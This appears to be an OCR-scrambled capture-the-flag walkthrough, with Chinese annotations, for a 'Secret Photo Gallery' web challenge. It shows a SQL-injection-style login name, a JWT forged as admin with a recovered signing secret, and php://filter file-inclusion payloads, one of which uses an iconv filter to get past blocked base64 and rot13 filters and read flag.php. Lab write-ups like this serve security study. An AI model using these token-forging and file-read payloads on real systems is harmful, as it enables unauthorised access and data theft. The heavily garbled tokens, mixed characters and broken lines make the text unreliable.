Secret Photo
Gallery

C Discover the hidden treasure in our mysterious gallery

2 Username

Enter username

& Password

Enter password
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Secret Photo
Gallery

@ Discover the hidden treasure in our mysterious gallery

@ Invalid username or password!

& Username

Enter username

@ Password

Enter password

K Secret Photo Gallery

£ Welcome, ' union select 1,2,3-- !

You've successfully entered the gallery. Your authentication token shows you're a guest user.

., Mountain Landscape % Spring Flowers % Cute Cat

A beautiful view of the mountains at sunset Colorful flowers in full bloom An adorable cat enjoying the sunshine

Photo ID: G1001 | File: mountain_view.jpg Photo ID: A2002 | File: spring_garden.jpg Photo ID: L3003 | File: lazy_cat.jpg

2 (BT guestfl 1, Flbp#lifl % Bitoken
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3 Accept Encudlng gzip,
deflate, br

9 Cookie: auth_token=
eyJOeXAi10iJKV1QiLCJIhbGeci01iJI
UzI1NiJ9.eyJlc2VyIjoiJ3VuaW9
UIHNLbGVjdCAxLDIsMyOtICIsInJ
vbGUi0iJIndWVzdCIsImLhdCI6GMTc
2NTAWMzMxMHO .S_osleS_K6GcEE9
ReqtxquWvv2555SUW3K81TFQcfeal
Connection: keep-alive

(7) {0} & >

3. RKitoken{E Zjwt.ioWuh & A3 A %H

ENCODED VALUE

JSON WEB TOKEN (JWT)

"alg": "HS256"
¥

eyJ0eXAi0iJKV1Qi LCJhbG 10iJIUZIINiJ9 le 2VyIjoil3VuaWou IHNleVJdCA

DECODED PAYLOAD

ANEBNERHND, RIER 7B — R A TR




., Mountain Landscape # Spring Flowers = Cute Cat

A beautiful view of the mountains at sunset Colorful flowers in full bloom An adorable cat enjoying the sunshine

Photo ID: G1001 | File: mountain_view.jpg Photo ID: A2002 | File: spring_garden.jpg Photo ID: L3003 | File: lazy_cat.jpg
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GALLERY2024SECRET

6.5 5jwtencodet®k, KroleJyadmin

JWT Encoder

Fill in the fields below to generate a signed JWT. Generate example

HEADER: ALGORITHM & TOKEN TYPE C! JSON WEB TOKEN

Valid header T1NiJ9.eyJ1c2VyIjoiJ3VuaWIuIHN1bGVjdCA

XLDIsMy@tICIsInJvbGUi0iJhZG1lpbiIsImlhdCIEMTc2NTAWMZMXMHO .k

aHTF1Y
T,

"HS256"

PAYLOAD: DATA

Valid payload

union select 1,2,3-- ",
0 : "admin|",
at": 1765003310

SIGN JWT: SECRET

Valid

GALLERY2024SECRET

7TRAAIERTtoken{E R it [ >R AYtoken, I admin

user



K Secret Photo Gallery

#2 Welcome, 'union select 1,2,3-- !

You've successfully entered the gallery. Your authentication
token shows you're a admin user.

W Admin Access Detected! ResRel e ilinzs i

8.4.iiGo to Admin Panel ,BIE, XEFZFH—E, BUT

4 Secret Photo Gall... & o 3 TRA s ! ) 15:00 - Sat, 06/12
R =0 t . 7

A\ Not secure  b9b4fd

QEHEFR

Bl S
14:59:37 6 D... HTTP

£ Welcome, 'union select 1,2,3-- |

You've successfully entered the gallery. Your authentication
token shows you're a admin user.

W Admin Access Detected! [NeeReR YN0

Inspector
'Y B
TR

T
coding: gzip,

i#:

.4 Mountain Landscape

A beautiful view of the mountains at sunset

Photo ID: G1001 | File: mountain_viewjpg

9.1 AZIAdmin PanelfE N HiAH —~Export file



@ Admin Panel

@ Admin Access Granted!

Welcome, 'union select 1,2,3-- ! You have successfully forged the JWT token.

Verified JWT Token:
eyJileXAiOiJEVIQILCThbGeiCiJIUZI1INI I . eyTJlc2VyIjol J3VuaWSuIHN1bGV
dCAxLDIsMyO0tICIsIndvbGUIiCiThZGlpbiIsImlhdCI 6 MTcZNTAWM zMxMHO . bEpDU
MEzYE OWpaHrF1YwSugMQdM2eDNESHzZJ Vlag

Decoded Payload:
{ "user™: "'union select 1,2,3-- ", "reole": "admin", "iat": 17650

03310 }

E: File Export Tool

Export system files for backup purposes
File Path:
e.g. /etc/passwd, /flag.txt, fvar/www/html/index.php

Enter the absolute path of the file you want to export

& Export File

k

10.5 A\ /flag.txt (Export filethZ & #uhiEHtoken) |, FEAINET
HRET, 45



@ Admin Panel

@ Admin Access Granted!

Welcome, 'union select 1,2,3-- | You have successfully forged the JWT token.

eyJ0eXAiCiJKVIQiLCIhbGciOiJIUzI1NiJ9. eyJlc2VyIjoiJ3VuaWouIHN1bGVjdCAXLDIsMy0tICIsIndvbGUiOiJhZ
GlpbiIsImlhdCIEMTCZNTAWMzMxMHO . LfpDUMZzYK OWpaHrF1YwSugMQdM2eDNKSHZZJ Vlag

Decoded Payload:

{ "user": "'union select 1,2,3-- ", "role": "admin", "iat": 1765003310 }

B File Export Tool

Export system files for backup purposes
File Path:

/flag.txt

Enter the absolute path of the file you want to export

1M MR HREEflag.txt, [HEMNXA]PAAIE, Zi#Edincludetl& X
fRExport, XEBIEMlagrE Y /i H %M flag.php

12 M Hphp://ffilterf@ B HE, &Mbase64firot1 3 JE AR A EE T

File Path:

php://filter/convert.base64-encode/resource=flag.php

Enter the absolute path of the file you want to export

2L, Export File

@ Blocked: base64 filter is not allowed!



File Path:

php://filter/convert.rot13-encode/resource=flag.php

Enter the absolute path of the file you want to export

& Export File

@ Blocked: rot13 filter is not allowed!

13 HZ2FATAT BAH iconv #egmmdid JEds, i Apayload:
php://filter/read=convert.iconv.UTF-8.UTF-
16/resource=flag.php, Export&ZEFELFZflag

WIap
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